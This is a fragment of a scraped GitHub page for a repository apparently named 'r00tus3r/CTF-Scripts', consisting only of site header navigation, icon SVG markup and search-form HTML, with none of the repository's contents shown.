flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="84325108" data-scoped-search-url="/r00tus3r/CTF-Scripts/search" data-owner-scoped-search-url="/users/r00tus3r/search" data-unscoped-search-url="/search" data-turbo="false" action="/r00tus3r/CTF-Scripts/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="iez1ucVlvjHC+e2fFS1P/gLJniQRqQqpYzUtuQgJ8D9yPaJaLMnFmT6Ra+UAz2cYUDbs5rntQ5UET0EhuIW9hw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 